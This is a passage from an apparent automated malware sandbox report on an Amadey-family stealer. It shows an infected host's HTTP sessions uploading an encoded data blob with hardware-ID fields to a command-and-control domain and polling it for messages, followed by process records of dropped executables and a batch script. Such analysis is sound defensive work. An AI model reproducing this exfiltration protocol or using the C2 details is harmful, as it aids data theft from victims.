2024-12-16 16:04:06 UTC	1324	OUT	Data Raw: 2d 2d 55 52 32 4e 42 5a 36 48 34 34 46 39 59 37 46 36 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 32 39 36 33 43 46 43 37 33 42 43 45 41 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 52 32 4e 42 5a 36 48 34 34 46 39 59 37 46 36 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 55 52 32 4e 42 5a 36 48 34 34 46 39 59 37 46 36 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --UR2NBZ6H44F9Y7F629Content-Disposition: form-data; name="hwid"362963CFC73BCEACAC8923850305D13E--UR2NBZ6H44F9Y7F629Content-Disposition: form-data; name="pid"1--UR2NBZ6H44F9Y7F629Content-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-16 16:04:07 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:04:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pbqpgg7avcffl2feemqrk3jbht; expires=Fri, 11-Apr-2025 09:50:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ed%2Faj6XUBTB8q7uXUGzuMAIBYMlIbXg5xHvp1S0GCUc4vV72Ava5HM2%2FGArLsZFbVapJgRdxGMLnpj3jUltWM%2FPNbbBYGd2SPBqFp40SJ1w4QHYfckt%2FNr7CoshB9iMaO6w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe844cf0587a2-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6938&min_rtt=6866&rtt_var=2719&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2240&delivery_rate=392156&cwnd=32&unsent_bytes=0&cid=848e6934330f81c6&ts=1198&x=0"
2024-12-16 16:04:07 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 16:04:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.8	50091	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:04:09 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=L67A6EQZSTQRO6NMB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 580094 Host: tacitglibbr.biz
2024-12-16 16:04:09 UTC	15331	OUT	Data Raw: 2d 2d 4c 36 37 41 36 45 51 5a 53 54 51 52 4f 36 4e 4d 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 32 39 36 33 43 46 43 37 33 42 43 45 41 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4c 36 37 41 36 45 51 5a 53 54 51 52 4f 36 4e 4d 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 36 37 41 36 45 51 5a 53 54 51 52 4f 36 4e 4d 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --L67A6EQZSTQRO6NMBContent-Disposition: form-data; name="hwid"362963CFC73BCEACAC8923850305D13E--L67A6EQZSTQRO6NMBContent-Disposition: form-data; name="pid"1--L67A6EQZSTQRO6NMBContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-16 16:04:09 UTC	15331	OUT	Data Raw: 56 20 de 17 a1 69 8b 97 c4 ef 23 a7 d0 30 77 49 99 55 44 1e dd 15 ab 84 99 79 25 8b f3 c9 d9 9e 75 11 22 d6 74 47 27 6d 91 44 37 7d 86 64 be 19 3c 22 30 77 00 e8 df e9 69 71 80 e0 0e b1 87 8e be ae c3 45 1f 3d a6 cc e5 bc 66 3f 6a 60 80 d2 7c 4d 11 23 d0 59 80 79 7b e0 98 a0 3c 73 a8 e5 b7 6f be 29 d5 2c 68 22 65 41 04 09 8b c0 fa 0a bd 1d 51 7e 7e fc c0 52 0d ab 85 eb c0 58 9c 43 6b a6 93 be 28 bf be 29 d2 95 12 ec 88 c0 d8 f7 c0 eb 35 2d ef ee ef ad e6 35 d9 c0 eb 53 3b 98 c3 81 47 c6 94 5c 16 22 e4 f8 81 08 5d bf ce 10 8d f5 4e 60 e6 19 f9 88 a0 38 7b 86 69 2a 31 f0 76 8c c1 99 0e 6b 88 7e 58 b2 97 0f 5c 4e 4a 77 70 c3 81 26 39 8e ad 31 3a 56 24 d3 a1 14 92 55 81 29 22 dc 22 0d aa 1f fb 73 4a 78 dc 17 04 a1 76 49 7a 39 72 a0 98 e1 30 c1 ac e5 49 95 9d Data Ascii: V i#0wIUDy%u"tG'mD7}d<"0wiqE=f?j`\|M#Yy{<so),h"eAQ~~RXCk()5-5S;G\"]N`8{i*1vk~X\NJwp&91:V$U)""sJxvIz9r0I
2024-12-16 16:04:09 UTC	15331	OUT	Data Raw: 93 1d c1 ab 1e 79 9b 08 d8 87 25 d2 55 d7 95 ff f6 4d 2e 2a 6f f6 7a f2 fb 61 30 8e 63 b6 ff bd 6a b8 e0 cd be 34 a9 00 d2 9f 46 e5 43 c9 6e be e0 32 a1 d9 c2 2b 19 af bc b2 63 32 ab 76 a5 a6 e2 4d 1b e2 4d 65 17 86 35 6a 69 72 18 58 65 8b 3a 6d ae 22 60 af cc 53 10 5f 6d f1 cd 3c 33 d8 6b 1b 42 72 94 35 57 1f 68 1a 73 de 3c 43 15 f0 b0 0c 1a 5c fe c3 a7 d2 54 36 98 2a f4 64 49 fe 37 a6 08 c2 31 83 83 2c d5 09 de 71 8b 56 4a 55 71 bb e8 21 0a c6 99 66 b1 ba 68 12 6a e3 c5 a7 95 ef b2 eb b5 62 37 94 e8 fa 93 f2 0d 77 a7 51 0d 65 e5 db 3a 0b 09 b9 46 1e c4 bd 2a 9f e2 aa f5 44 48 2c af af 26 24 0f 5c 6e 19 56 a2 fb 9f d0 8e b2 ac 15 ae 57 fa d9 ec 2c ba 1a 0e 23 c6 39 f3 88 bb f7 45 6b 9b 1c 0d 0e f2 5d f8 f1 23 74 66 ee 5c 4c c6 7c 89 26 e0 81 a6 a5 bb 96 Data Ascii: y%UM.oza0cj4FCn2+c2vMMe5jirXe:m"`S_m<3kBr5Whs<C\T6dI71,qVJUq!fhjb7wQe:F*DH,&$\nVW,#9Ek]#tf\L\|&
2024-12-16 16:04:09 UTC	15331	OUT	Data Raw: fc a6 21 c9 a5 ce c9 2d 54 9d c0 76 38 a1 82 63 61 0d 25 27 12 7e f7 68 96 a3 28 88 6b 61 8e 6b e3 32 94 04 5e 4e b3 e2 b4 2d 2c af ca b4 f9 6f 12 1d d9 16 d0 2b d3 ab 1d 70 2c d7 b6 c0 e2 47 db 76 a3 fa 4d 18 8e 79 bb 72 b8 e6 a3 2d 8f f7 43 df cf 1f ce 2a c3 a9 1b d5 92 4c f8 b7 d9 5a af 1e 80 3b a5 09 36 40 45 7a 79 e3 50 38 65 3d ec f0 43 be 14 c6 39 08 65 e6 ee 07 dc 8f f4 59 cc 0a 51 32 ac fe c4 e4 aa 3c 99 6b 54 de 37 d0 f9 d1 b7 e5 92 52 38 53 55 01 eb 33 66 df ba 42 e2 cd 70 db ff ea 58 e5 32 45 22 43 88 0f f7 61 60 91 b1 bc a6 a5 1c 4d 66 7d e6 06 7c a7 ae e3 33 4c 00 36 63 2b 3e cd aa 9d 3d f9 de b5 f8 3a 97 2c b9 c9 69 af bb aa 77 2c ef 62 94 a8 49 a9 8f 9f fb 7c 13 7a 75 cf 6d ca b4 ab 95 14 72 73 fc 03 91 0b e8 73 7f 02 c5 b0 6e c6 4d 0d 84 Data Ascii: !-Tv8ca%'~h(kak2^N-,o+p,GvMyr-C*LZ;6@EzyP8e=C9eYQ2<kT7R8SU3fBpX2E"Ca`Mf}\|3L6c+>=:,iw,bI\|zumrssnM
2024-12-16 16:04:09 UTC	15331	OUT	Data Raw: bf 9a eb 5f 09 fd 2e 35 e9 45 f8 a8 62 5e a9 59 94 b9 81 c6 d6 31 9e e6 fd 98 39 e4 85 26 f6 6d 17 a7 5a 3f 94 8e cb df a3 0a c7 fe 49 23 c9 62 5c 6c f5 c6 bc b1 1a cc 23 cb 88 e9 3a 03 19 99 41 f2 15 81 da fd 98 78 1a df f4 8a 83 24 49 46 cb 35 2d 3c 8a e4 a9 9c 79 b3 ab 6b 27 ac f4 9d 31 cc ee f0 f9 ad cc f8 95 5b c7 6d d2 a2 c4 8e f2 fc 40 98 c2 c8 fc 37 0e e1 64 ab 39 61 1e d7 93 09 aa 02 82 01 3e a3 22 ef 7e d7 98 7a 9b 58 67 a0 6e 73 8e 28 4a 5c d8 fe e0 6d 99 16 5d aa 9d fc c8 08 75 b7 7b 46 f8 15 87 2b 2c 33 fa 9e 98 ca 87 22 0b 43 dc 69 fd e9 d9 8e 20 d2 15 b6 37 5b 5a f9 ca 90 87 1b 07 46 9b 60 5a 96 58 2d c8 f8 6c bf 9c dc 71 86 1b 87 86 0c 25 5e b6 5a de de e1 23 8a 1e b5 b0 ed c6 4d 62 1a 06 22 1d ff f3 57 ff bf 17 2b 2e b0 36 09 33 47 41 ca Data Ascii: _.5Eb^Y19&mZ?I#b\l#:Ax$IF5-<yk'1[m@7d9a>"~zXgns(J\m]u{F+,3"Ci 7[ZF`ZX-lq%^Z#Mb"W+.63GA
2024-12-16 16:04:09 UTC	15331	OUT	Data Raw: 77 1d d9 fd 38 4a a1 44 72 50 b8 b6 b6 fb 24 61 33 71 2c 1e 4c 9e 0d 2f d7 eb 56 40 b9 8b 63 7b 27 70 70 61 60 21 03 75 3f f7 ec 38 46 0c 9d f8 5a ca f2 9f 45 1d 3b 0a 71 7e bc 69 79 19 f1 fa ce 51 70 da c7 59 6a d3 02 98 d0 63 43 4b 79 85 f6 86 87 bb a4 27 ee c4 5c af fc f0 09 ab 52 55 13 fc 94 52 80 dd ef 8d b8 7b d8 17 dc f9 dd f3 bd 95 5d 14 ec b5 ab ba dd 1c 6c 12 4e 55 62 b5 6f 7a 0a f2 b6 b6 b2 2c 36 63 b1 5e 97 85 3f 9d b2 d8 75 72 a2 07 ce b0 9c 77 9f c1 ed be 27 bc f2 b6 3e 8c 27 b9 74 f1 9a d0 b3 2e 67 e1 b9 89 58 84 df 41 3c 1e ef 94 66 a0 87 0e 4d e1 77 95 8a f9 6a cb 98 fa f3 a2 2f 8c 0b 48 70 bf 53 c3 f9 00 79 2b 96 fe 61 57 8a 6c fa f4 42 67 f0 50 51 a1 e3 8e 8c 51 d8 e9 7c e5 93 52 b8 36 2e ac c7 2f ab b6 be 53 a4 59 41 4b ab f4 a7 31 51 Data Ascii: w8JDrP$a3q,L/V@c{'ppa`!u?8FZE;q~iyQpYjcCKy'\RUR{]lNUboz,6c^?urw'>'t.gXA<fMwj/HpSy+aWlBgPQQ\|R6./SYAK1Q
2024-12-16 16:04:09 UTC	15331	OUT	Data Raw: 81 e0 6f a7 05 c7 61 1e 22 37 ca 63 c9 78 f8 02 ed 81 f0 e6 ed a5 58 ad 5d bb 3e 4c 9e 17 5a 10 c1 25 5d fc 47 9e 0f 2b eb 4d 7e f7 df b3 bd fb ea 31 6b a8 e5 f7 47 71 6d 09 dc 2b 09 08 bd 08 42 e2 da 3d 23 aa 51 88 08 76 39 25 e2 4c 22 c2 f0 18 b7 3c cc 76 a3 8e 9a 4f 32 97 3e b4 7e a9 94 a0 7c ec 0b f9 d8 17 e6 bb 7e 1b 25 ee c6 05 20 8e c2 1e 44 64 40 f0 86 fc a8 f3 d8 b1 ca 43 e3 7f 59 de 16 52 a5 c8 d0 65 48 b2 b6 14 91 31 c5 a9 a2 b7 78 df ed 69 49 aa 5c 55 5d 11 d7 a8 f8 e4 01 7a 9d ec 42 50 0c 29 7f ef 6a 31 15 fe 85 a5 c9 a5 dc 5a bd 44 cc ec b5 11 73 d8 a4 ff 4b a6 ae 22 af ef 28 47 8b d2 4f 2f 11 d8 79 60 6f 5e 4a f0 97 80 c5 47 b2 61 f7 7d 56 c3 db d8 c7 b6 cd d2 bf 7e bc f8 c5 7f fe de 24 6b 60 84 cd fc b7 ae fa 28 eb 4f f5 a3 3b 8e d5 47 91 Data Ascii: oa"7cxX]>LZ%]G+M~1kGqm+B=#Qv9%L"<vO2>~\|~% Dd@CYReH1xiI\U]zBP)j1ZDsK"(GO/y`o^JGa}V~$k`(O;G
2024-12-16 16:04:09 UTC	15331	OUT	Data Raw: 98 f7 0b 46 fc df 54 67 21 5d 14 f0 0e 4f d3 90 4c 3f 50 a0 68 1f 66 57 d4 36 39 89 fd 9d c4 fc 07 30 12 f5 81 68 8f e1 c4 31 6e 42 e7 dc c0 da 13 e2 13 b8 cf 01 e2 75 f2 d7 cd da 82 eb e3 dc 8f ec 54 5f c1 f3 ca 4d b5 89 11 b5 e2 4d fe a9 1b fa 4a 8d 46 2b ae 55 53 40 61 59 8a 0d cf 5b 65 3e 39 45 1e c9 f3 ff f7 bb 41 6b c8 4b ee c6 4b d0 75 95 db 30 61 6f 1e c6 2b df 63 44 3e 24 96 33 75 78 90 9b 6b 48 af e3 2e 8b ea 8c dd 29 7b e1 73 86 a1 6c 87 c3 a5 d6 31 af 41 67 a3 db 82 f7 c3 8e b0 5f 0e 73 67 c4 04 59 32 37 ea 15 5b e6 1d c0 17 2c ae 51 3f 28 68 a3 0d 3a 7f 06 94 82 cb e6 f4 5d 46 71 d7 02 1f ae 14 29 dc 07 91 ce bf 13 76 9c fc 1f 04 41 f1 06 ba af 82 76 64 45 92 3d b5 99 6c 67 6d 71 25 d7 7b 9f a4 52 87 5d 1a 73 23 3f 36 4e 19 b1 3b c0 42 b0 7f Data Ascii: FTg!]OL?PhfW690h1nBuT_MMJF+US@aY[e>9EAkKKu0ao+cD>$3uxkH.){sl1Ag_sgY27[,Q?(h:]Fq)vAvdE=lgmq%{R]s#?6N;B
2024-12-16 16:04:09 UTC	15331	OUT	Data Raw: b5 bf 19 1b d5 d7 f6 e5 78 9f 9b 9b b1 a9 5a fd 5f 0f 4f 3d 55 22 69 25 17 3e 28 00 75 64 44 f2 07 73 62 af 8b 5d 59 d0 62 a4 3e 14 54 91 da 36 ce 4b 33 8c 33 90 94 a3 a0 fa 50 70 90 86 b7 4f 3e 76 79 22 87 87 f7 d7 8b 64 9f d3 1d aa 14 75 57 df f2 81 53 78 5d 18 5f ea d2 29 f8 9e 8f a0 40 2c 86 a7 b3 12 37 cd 97 9b 7c 03 8a e4 61 e1 32 54 aa af a1 f3 f2 df 4e bb ba 54 84 2e 8f 18 5d e6 13 40 d5 70 ba 4e b1 7b 52 e1 e0 23 2b 44 1b c8 91 48 ae 2b c8 cf 37 8b f2 61 84 e4 25 a7 29 ce 2f c3 76 ac 72 fd a1 0d 41 86 d5 0a d0 68 61 9b ba f6 b6 80 cb a2 e0 1e c2 5a 81 22 8b 6a 14 cd ad 7d bf a9 23 d0 63 ba cf e0 6a f1 0e af b2 80 b1 89 71 2b 28 de 83 2b 7f 37 6c c7 7f 6a a1 0c 65 46 1d 89 8e 28 3a 89 d7 df c6 14 3a 50 ab df 73 56 55 44 72 78 45 cd 39 63 19 79 d4 Data Ascii: xZ_O=U"i%>(udDsb]Yb>T6K33PpO>vy"duWSx]_)@,7\|a2TNT.]@pN{R#+DH+7a%)/vrAhaZ"j}#cjq+(+7ljeF(::PsVUDrxE9cy
2024-12-16 16:04:09 UTC	15331	OUT	Data Raw: f3 f4 7d 0c ab 54 8f 42 2d 89 16 e3 8b 23 ca 67 7d 77 8a b0 71 14 bc 27 ed c5 4e f9 0b 75 75 5a ea 5e 0b 80 0b 34 e7 84 35 5b 05 3c b8 6c 19 a7 9c 19 39 22 73 db 98 f7 62 83 76 f7 81 e5 66 8f 03 fb 04 19 f6 1b 9f d1 81 89 6d 51 23 1d 38 98 b2 cb 39 42 14 31 ea 10 13 ee fb 2d d7 f1 84 a8 28 af 70 e4 c8 07 22 0a f3 a5 8f 26 cd c1 c6 7a 0d 34 88 d2 44 ac 00 a5 88 bd 61 85 1c 40 b6 ab 09 6e 03 28 09 d4 7c 6e 51 b2 5a f7 07 d3 72 44 cc 6e df c3 bb d6 71 d4 8b 63 da 83 51 ce 8d fa dd 0c 41 88 20 24 3a ec 30 9f e3 cf 3e b0 2e 7f cb d4 e8 13 12 15 3b 3d db 35 5d 78 07 e5 f5 37 81 4b ad 91 a9 c2 a6 5a 9c a2 64 7c bd d9 a2 9a 44 be 32 ca 83 1a 09 21 4e ea 07 9c 05 41 77 00 f1 b2 18 8e 2a 21 d2 f4 4a 69 8b d0 4e 33 13 41 15 e5 01 ac 6d 4a db 4a e2 c1 7a d3 82 31 39 Data Ascii: }TB-#g}wq'NuuZ^45[<l9"sbvfmQ#89B1-(p"&z4Da@n(\|nQZrDnqcQA $:0>.;=5]x7KZd\|D2!NAw*!JiN3AmJJz19
2024-12-16 16:04:12 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:04:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q93bbjj4fkbumf1782je22oks9; expires=Fri, 11-Apr-2025 09:50:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DBGP5B10N7Pz2MzC33evMbTK6OMHXZAO5n8UNKvyw2ID0OZ1tq4FtZ5%2FmMkToPklg2Q%2BUVx7o1V7Twxe8BxMlJwPcGuJPWZEADyKVaYRf%2FgwIhpjK12XNxF9niKso8Z%2BQRI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe859abb1727d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1825&min_rtt=1815&rtt_var=701&sent=202&recv=600&lost=0&retrans=0&sent_bytes=2838&recv_bytes=582661&delivery_rate=1538461&cwnd=219&unsent_bytes=0&cid=ce25ce48f013707a&ts=3199&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.8	50105	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:04:14 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: tacitglibbr.biz
2024-12-16 16:04:14 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 33 36 32 39 36 33 43 46 43 37 33 42 43 45 41 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=362963CFC73BCEACAC8923850305D13E
2024-12-16 16:04:17 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:04:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bgj8g0nrc3aaqirf9jsabhu70i; expires=Fri, 11-Apr-2025 09:50:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fuEc6JUsJ%2FHZo9Ovqz56Sg72N0aFmchNdcMFfijvrrEG7Cos47PBZPKTZoeJpzAL2CVqN6cnVBo4vY5S8CXZNiEXdB09p71ZOM%2FvtGW7Mlu6%2BKjPMwo3PxLaMQaTMEGAAPc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe8760caf42c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1688&min_rtt=1684&rtt_var=641&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=981&delivery_rate=1694718&cwnd=241&unsent_bytes=0&cid=1a66ab29edb919b6&ts=3427&x=0"
2024-12-16 16:04:17 UTC	214	IN	Data Raw: 64 30 0d 0a 65 41 76 47 43 61 53 68 57 6d 34 5a 4a 49 67 53 6c 4c 6a 48 7a 68 2f 34 61 36 44 59 36 2b 43 72 58 4c 33 6e 34 6a 54 74 6a 6b 34 6a 63 4f 52 38 68 70 74 34 42 6d 31 51 2b 43 6a 49 6c 35 76 68 4c 73 42 65 6a 75 72 61 31 59 56 74 6a 4e 54 4d 42 64 76 53 59 52 64 74 6f 46 57 4c 78 54 38 49 4e 30 48 77 64 37 61 55 35 61 68 72 32 6c 47 51 39 4d 6d 46 69 57 61 4e 6d 73 35 50 7a 2f 74 73 51 69 6d 75 66 64 44 52 59 44 49 32 65 4b 63 6a 72 49 33 70 2f 43 37 4e 52 5a 48 70 32 4d 36 61 61 75 48 49 6b 55 43 49 37 79 4d 6b 4a 4c 52 6f 79 73 55 31 41 7a 64 42 38 48 65 32 6c 4f 57 6f 61 39 70 52 6b 50 54 4a 68 59 6c 6d 6a 5a 71 2f 0d 0a Data Ascii: d0eAvGCaShWm4ZJIgSlLjHzh/4a6DY6+CrXL3n4jTtjk4jcOR8hpt4Bm1Q+CjIl5vhLsBejura1YVtjNTMBdvSYRdtoFWLxT8IN0Hwd7aU5ahr2lGQ9MmFiWaNms5Pz/tsQimufdDRYDI2eKcjrI3p/C7NRZHp2M6aauHIkUCI7yMkJLRoysU1AzdB8He2lOWoa9pRkPTJhYlmjZq/
2024-12-16 16:04:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.8	50227	44.196.3.45	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:04:53 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-16 16:04:54 UTC	224	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:04:54 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-16 16:04:54 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Target ID:	0
Start time:	11:01:18
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd20000
File size:	2'998'784 bytes
MD5 hash:	657B1D5BADA53A94C7EB16A8F6780AEF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1487650364.0000000005360000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:01:21
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xec0000
File size:	2'998'784 bytes
MD5 hash:	657B1D5BADA53A94C7EB16A8F6780AEF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1515970750.0000000005310000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:01:21
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xec0000
File size:	2'998'784 bytes
MD5 hash:	657B1D5BADA53A94C7EB16A8F6780AEF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1517264971.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:02:00
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xec0000
File size:	2'998'784 bytes
MD5 hash:	657B1D5BADA53A94C7EB16A8F6780AEF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.1900446537.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:02:16
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe"
Imagebase:	0x2c0000
File size:	4'488'192 bytes
MD5 hash:	C34B70C2D71B9CB23895C7008D2AF3CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:02:28
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	11:02:33
Start date:	16/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff7b7c40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
